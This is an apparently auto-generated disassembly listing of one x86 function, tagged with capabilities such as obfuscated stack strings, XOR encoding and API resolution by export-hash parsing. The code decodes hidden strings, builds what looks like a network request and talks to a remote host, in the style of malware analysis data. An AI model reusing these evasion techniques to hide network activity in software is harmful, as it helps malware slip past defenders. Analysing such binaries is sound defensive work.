Function at 0x41e9e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc0
mov edi, ecx
mov esi, dword [esp + 0xd8]
mov ebx, dword [esp + 0xd4]
mov dword [esp + 0xbc], 0
mov dword [esp + 0xb8], 0
mov dword [esp + 0xb4], 0
mov dword [esp + 0xb0], 0
mov dword [esp + 0xac], 0
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 2
mov dword [esp + 0xa8], 1
push 0xc904973f
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
lea ecx, [esp + 0x20]
lea edx, [esp + 0xa0]
push ecx
push edx
push esi
push ebx
call eax
test eax, eax
mov dword [esp + 0x18], edi
je 0x41ea8c
cmp dword [edi], 0xffffffff
jne 0x41eb42
jmp 0x41ef23
push 0x39be051d
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
mov dword [esp], eax
push 0x847b02a2
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
mov dword [esp + 0x14], eax
push 0x2e775759
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x20]
test ebp, ebp
je 0x41eb1c
mov edi, dword [esp + 0x18]
jmp 0x41eae7
mov ebp, dword [ebp + 0x1c]
test ebp, ebp
je 0x41eb1c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 4]
call dword [esp + 0xc]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
cmp eax, 0xffffffff
je 0x41eae0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
push eax
call dword [esp + 0x20]
test eax, eax
je 0x41eb1c
push dword [edi]
call dword [esp + 0x14]
mov dword [edi], 0xffffffff
jmp 0x41eae0
push 0x18c354a9
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
push dword [esp + 0x20]
call eax
mov edi, dword [esp + 0x18]
cmp dword [edi], 0xffffffff
je 0x41ef23
mov edi, dword [esp + 0xdc]
mov eax, 0x89
nop
nop
cmp byte [edi + eax - 0x89], 0
lea eax, [eax + 1]
jne 0x41eb50
mov ecx, ebx
nop
inc eax
cmp byte [ecx], 0
lea ecx, [ecx + 1]
jne 0x41eb60
mov ecx, esi
nop
nop
nop
nop
nop
inc eax
cmp byte [ecx], 0
lea ecx, [ecx + 1]
jne 0x41eb70
push eax
call fcn.004095d0
add esp, 4
mov dword [esp], eax
mov dword [esp + 0x24], 0xbfbec9f0
mov dword [esp + 0x28], 0x191f1a3c
mov dword [esp + 0x2c], 0x33f0fc19
mov dword [esp + 0x30], 0x2d6a5653
mov word [esp + 0x34], 0xe100
mov dword [esp + 0x36], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x24]
lea ebp, [eax - 0x699dd104]
mov ecx, 3
sub ecx, eax
xor ecx, ebp
and ecx, edx
xor ecx, ebp
mov edx, ecx
and edx, 0x13
add edx, edx
xor ecx, 0xec
sub edx, ecx
mov byte [esp + eax + 0x24], dl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x16
jb 0x41ebc0
mov dword [esp + 4], 0x778a8483
mov byte [esp + 8], 0x54
mov word [esp + 9], 0
mov byte [esp + 0xb], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x8e
xor cl, byte [esp + eax + 4]
add cl, 0x3a
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 8
jne 0x41ec20
movzx eax, byte [esp + 4]
mov ebp, dword [esp]
test al, al
je 0x41ec5c
lea ecx, [esp + 5]
mov ebp, dword [esp]
nop
nop
nop
nop
nop
nop
nop
mov byte [ebp], al
inc ebp
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x41ec50
mov byte [ebp], 0
movzx eax, byte [edi]
test al, al
je 0x41ec7c
inc edi
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebp], al
inc ebp
movzx eax, byte [edi]
inc edi
test al, al
jne 0x41ec70
mov byte [ebp], 0
movzx eax, byte [esp + 0x24]
test al, al
je 0x41ec9c
lea ecx, [esp + 0x25]
nop
nop
nop
mov byte [ebp], al
inc ebp
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x41ec90
mov byte [ebp], 0
movzx eax, byte [ebx]
test al, al
je 0x41ecbc
inc ebx
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebp], al
inc ebp
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x41ecb0
mov byte [ebp], 0x3a
mov dword [esp + 0x24], 0xa78bdfdd
mov dword [esp + 0x28], 0xbfb3abbf
mov dword [esp + 0x2c], 0xa4fe97bd
mov dword [esp + 0x30], 0xa8a5b3b1
mov dword [esp + 0x34], 0x9b8baeb7
mov dword [esp + 0x38], 0x90adf3f1
mov dword [esp + 0x3c], 0x80839392
mov dword [esp + 0x40], 0x99998490
mov dword [esp + 0x44], 0x87abc9ae
mov dword [esp + 0x48], 0x9f938b9f
mov dword [esp + 0x4c], 0xa0e8e49d
mov dword [esp + 0x50], 0xa0cf9291
mov dword [esp + 0x54], 0x74599795
mov dword [esp + 0x58], 0x7f6f726b
mov dword [esp + 0x5c], 0x76635635
mov dword [esp + 0x60], 0x34722d4a
mov dword [esp + 0x64], 0x425e5f5e
mov dword [esp + 0x68], 0x2246597a
mov dword [esp + 0x6c], 0x684a975d
mov dword [esp + 0x70], 0x55512474
mov dword [esp + 0x74], 0x5c6a4170
mov dword [esp + 0x78], 0x35376061
mov dword [esp + 0x7c], 0x1a414c7f
mov dword [esp + 0x80], 0x74444077
mov dword [esp + 0x84], 0x5a41465b
mov dword [esp + 0x88], 0x5e680048
mov dword [esp + 0x8c], 0x4c574e4e
mov dword [esp + 0x90], 0xa1a7b4e
mov dword [esp + 0x94], 0x52502c07
mov word [esp + 0x98], 0x4552
mov byte [esp + 0x9e], 0
mov dword [esp + 0x9a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x24]
mov ecx, eax
xor ecx, 0xf3bdfab1
mov edi, eax
or edi, 0xc42054e
and ecx, edi
add ecx, edi
xor ecx, edx
mov edx, ecx
xor edx, 0x86
or ecx, 0x79
and edx, ecx
add edx, ecx
inc dl
mov byte [esp + eax + 0x24], dl
inc eax
cmp eax, 0x7b
jne 0x41ede0
inc ebp
movzx eax, byte [esi]
test al, al
je 0x41ee2c
inc esi
nop
mov byte [ebp], al
inc ebp
movzx eax, byte [esi]
inc esi
test al, al
jne 0x41ee20
mov byte [ebp], 0
movzx eax, byte [esp + 0x24]
test al, al
je 0x41ee4c
lea ecx, [esp + 0x25]
nop
nop
nop
mov byte [ebp], al
inc ebp
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x41ee40
mov byte [ebp], 0
mov esi, dword [esp]
sub ebp, esi
push 0xd0026952
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
push 0
push ebp
push esi
mov edi, dword [esp + 0x24]
push dword [edi]
call eax
mov esi, eax
cmp eax, 0xffffffff
jne 0x41eec8
cmp dword [edi], 0xffffffff
je 0x41eec8
push 0x59ea2086
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
push 2
push dword [edi]
call eax
push 0x2e775759
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
push dword [edi]
call eax
mov dword [edi], 0xffffffff
push dword [esp]
call fcn.004095e0
add esp, 4
xor eax, eax
jmp 0x41f405
push dword [esp]
call fcn.004095e0
add esp, 4
cmp esi, 0xffffffff
je 0x41ef23
push 0x400
call fcn.004095d0
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
add eax, 0x400
mov dword [esp + 0xc], eax
lea eax, [esp + 4]
mov ecx, edi
push eax
call fcn.0041f420
test al, al
je 0x41f3e4
mov esi, dword [esp + 4]
mov edi, dword [esp + 8]
mov ebx, edi
sub ebx, esi
cmp edi, dword [esp + 0xc]
je 0x41ef2a
mov eax, esi
jmp 0x41f070
xor eax, eax
jmp 0x41f405
lea eax, [ebx + 1]
mov ebp, ebx
shr ebp, 1
mov ecx, ebp
and ecx, ebx
mov edx, ebp
xor edx, ebx
lea ecx, [edx + ecx*2]
cmp ecx, eax
ja 0x41ef42
mov ecx, eax
mov dword [esp], ecx
push ecx
call fcn.004095d0
add esp, 4
test esi, esi
je 0x41f05c
cmp eax, esi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
jbe 0x41f00d
cmp edi, eax
jbe 0x41f00d
test ebx, ebx
je 0x41f048
mov edx, dword [esp + 0x14]
mov eax, edx
and eax, 0xfffffffe
mov ecx, edx
not ecx
and ecx, 1
sub eax, ecx
mov ecx, dword [esp + 0x10]
add ecx, eax
add eax, esi
mov ebp, edx
and ebp, 7
je 0x41efaf
neg ebp
xor edx, edx
movzx ebx, byte [eax + edx]
mov byte [ecx + edx], bl
dec edx
cmp ebp, edx
jne 0x41ef9b
add eax, edx
add ecx, edx
add edx, dword [esp + 0x14]
sub esi, edi
cmp esi, 0xfffffff8
ja 0x41f048
neg edx
xor esi, esi
movzx ebx, byte [eax + esi]
mov byte [ecx + esi], bl
movzx ebx, byte [eax + esi - 1]
mov byte [ecx + esi - 1], bl
movzx ebx, byte [eax + esi - 2]
mov byte [ecx + esi - 2], bl
movzx ebx, byte [eax + esi - 3]
mov byte [ecx + esi - 3], bl
movzx ebx, byte [eax + esi - 4]
mov byte [ecx + esi - 4], bl
movzx ebx, byte [eax + esi - 5]
mov byte [ecx + esi - 5], bl
movzx ebx, byte [eax + esi - 6]
mov byte [ecx + esi - 6], bl
movzx ebx, byte [eax + esi - 7]
mov byte [ecx + esi - 7], bl
add esi, 0xfffffff8
cmp edx, esi
jne 0x41efbe
jmp 0x41f048
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, esi
and ebp, 1
mov esi, edx
mov edi, eax
mov ecx, ebp
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
test bl, 1
je 0x41f048
mov ecx, dword [esp + 0x14]
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
push dword [esp + 4]
call fcn.004095e0
add esp, 4
mov ebx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov dword [esp + 4], eax
lea ecx, [eax + ebx]
mov dword [esp + 8], ecx
mov ecx, dword [esp]
add ecx, eax
mov dword [esp + 0xc], ecx
mov byte [eax + ebx], 0
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
inc ecx
mov dword [esp + 8], ecx
mov dword [esp + 0x24], 0xc7cab540
mov dword [esp + 0x28], 0x22202427
mov dword [esp + 0x2c], 0x2e2e2010
mov byte [esp + 0x30], 0x7c
mov dword [esp + 0x31], 0
mov dword [esp + 0x34], 0
xor edx, edx
mov ebx, edx
add bl, 0x3e
xor bl, byte [esp + edx + 0x24]
add bl, 0xca
mov byte [esp + edx + 0x24], bl
inc edx
cmp edx, 0x14
jne 0x41f0b0
movzx edx, byte [esp + 0x24]
mov ebp, eax
test dl, dl
je 0x41f106
lea edi, [esp + 0x24]
mov esi, eax
mov ebp, eax
jmp 0x41f0e7
movzx edx, byte [edi]
test dl, dl
je 0x41f106
mov dh, byte [esi]
test dh, dh
je 0x41f37a
inc esi
inc edi
lea ebx, [ebp + 1]
cmp dh, dl
je 0x41f0fe
mov ebp, ebx
mov esi, ebx
je 0x41f0e0
lea edi, [esp + 0x24]
jmp 0x41f0e0
test ebp, ebp
je 0x41f37a
mov ebp, dword [esp + 0x18]
jmp 0x41f128
cmp bl, bh
je 0x41f3eb
mov edx, ecx
sub edx, eax
je 0x41f158
jae 0x41f134
test edx, edx
jg 0x41f152
lea esi, [eax + edx]
mov ebx, esi
mov edi, eax
xor ecx, ecx
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
xor ecx, ecx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ecx, dword [esp + 8]
sub ecx, edx
mov dword [esp + 8], ecx
mov ecx, ebp
lea eax, [esp + 4]
push eax
call fcn.0041f420
test al, al
je 0x41f3e4
mov dword [esp], eax
mov ebp, dword [esp + 4]
mov edi, dword [esp + 8]
mov ebx, edi
sub ebx, ebp
cmp edi, dword [esp + 0xc]
je 0x41f190
mov eax, ebp
jmp 0x41f2f3
lea eax, [ebx + 1]
mov esi, ebx
shr esi, 1
mov ecx, esi
and ecx, ebx
mov edx, esi
xor edx, ebx
lea ecx, [edx + ecx*2]
cmp ecx, eax
ja 0x41f1a8
mov ecx, eax
mov dword [esp + 0x14], ecx
push ecx
call fcn.004095d0
add esp, 4
test ebp, ebp
je 0x41f2de
cmp eax, ebp
mov dword [esp + 0x10], ebx
mov dword [esp + 0x1c], eax
jbe 0x41f28f
cmp edi, eax
jbe 0x41f28f
test ebx, ebx
je 0x41f2ca
mov edx, dword [esp + 0x10]
mov eax, edx
and eax, 0xfffffffe
mov ecx, edx
not ecx
and ecx, 1
sub eax, ecx
mov ecx, dword [esp + 0x1c]
add ecx, eax
add eax, ebp
mov esi, edx
and esi, 7
je 0x41f224
neg esi
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax + edx]
mov byte [ecx + edx], bl
dec edx
cmp esi, edx
jne 0x41f210
add eax, edx
add ecx, edx
add edx, dword [esp + 0x10]
sub ebp, edi
cmp ebp, 0xfffffff8
ja 0x41f2ca
neg edx
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax + esi]
mov byte [ecx + esi], bl
movzx ebx, byte [eax + esi - 1]
mov byte [ecx + esi - 1], bl
movzx ebx, byte [eax + esi - 2]
mov byte [ecx + esi - 2], bl
movzx ebx, byte [eax + esi - 3]
mov byte [ecx + esi - 3], bl
movzx ebx, byte [eax + esi - 4]
mov byte [ecx + esi - 4], bl
movzx ebx, byte [eax + esi - 5]
mov byte [ecx + esi - 5], bl
movzx ebx, byte [eax + esi - 6]
mov byte [ecx + esi - 6], bl
movzx ebx, byte [eax + esi - 7]
mov byte [ecx + esi - 7], bl
add esi, 0xfffffff8
cmp edx, esi
jne 0x41f240
jmp 0x41f2ca
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, ebp
and esi, 1
mov ebp, edx
mov edi, eax
mov ecx, esi
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
test bl, 1
je 0x41f2ca
mov ecx, dword [esp + 0x10]
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
push dword [esp + 4]
call fcn.004095e0
add esp, 4
mov ebx, dword [esp + 0x10]
mov eax, dword [esp + 0x1c]
mov dword [esp + 4], eax
lea ecx, [eax + ebx]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x14]
add ecx, eax
mov dword [esp + 0xc], ecx
mov byte [eax + ebx], 0
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
inc ecx
mov dword [esp + 8], ecx
mov word [esp + 0x24], 0xd0f
mov byte [esp + 0x26], 0x1a
mov word [esp + 0x27], 0
mov edx, 0xcc51f9bb
mov ebp, dword [esp + 0x18]
movzx esi, byte [esp + edx + 0x33ae0669]
mov edi, edx
or edi, esi
not esi
mov ebx, edx
or ebx, esi
sub esi, ebx
add esi, edi
mov edi, esi
and edi, 1
xor esi, 1
lea ebx, [esi + edi*2]
add bl, 0x58
mov byte [esp + edx + 0x33ae0669], bl
inc edx
cmp edx, 0xcc51f9c0
jne 0x41f320
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax + edx]
mov bh, byte [esp + edx + 0x24]
test bl, bl
je 0x41f120
inc edx
cmp bl, bh
je 0x41f360
jmp 0x41f120
mov esi, dword [esp + 0x18]
cmp dword [esi], 0xffffffff
je 0x41f3e4
mov word [esi + 6], 0x3ea
mov word [esp + 0x24], 0xea03
lea eax, [esp + 0x24]
mov ecx, esi
push 0x442bd8
push 1
push 1
push 8
push 2
push eax
call fcn.0041df10
cmp dword [esi], 0xffffffff
je 0x41f3e4
push 0x59ea2086
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
push 2
push dword [esi]
call eax
push 0x2e775759
push dword [0x44a9b8]
call fcn.0043e7a0
add esp, 8
push dword [esi]
call eax
mov dword [esi], 0xffffffff
mov dword [esp], 0
mov eax, dword [esp + 4]
test eax, eax
je 0x41f402
cmp eax, dword [esp + 8]
je 0x41f402
push eax
call fcn.004095e0
add esp, 4
mov eax, dword [esp]
add esp, 0xc0
pop esi
pop edi
pop ebx
pop ebp
ret 0xc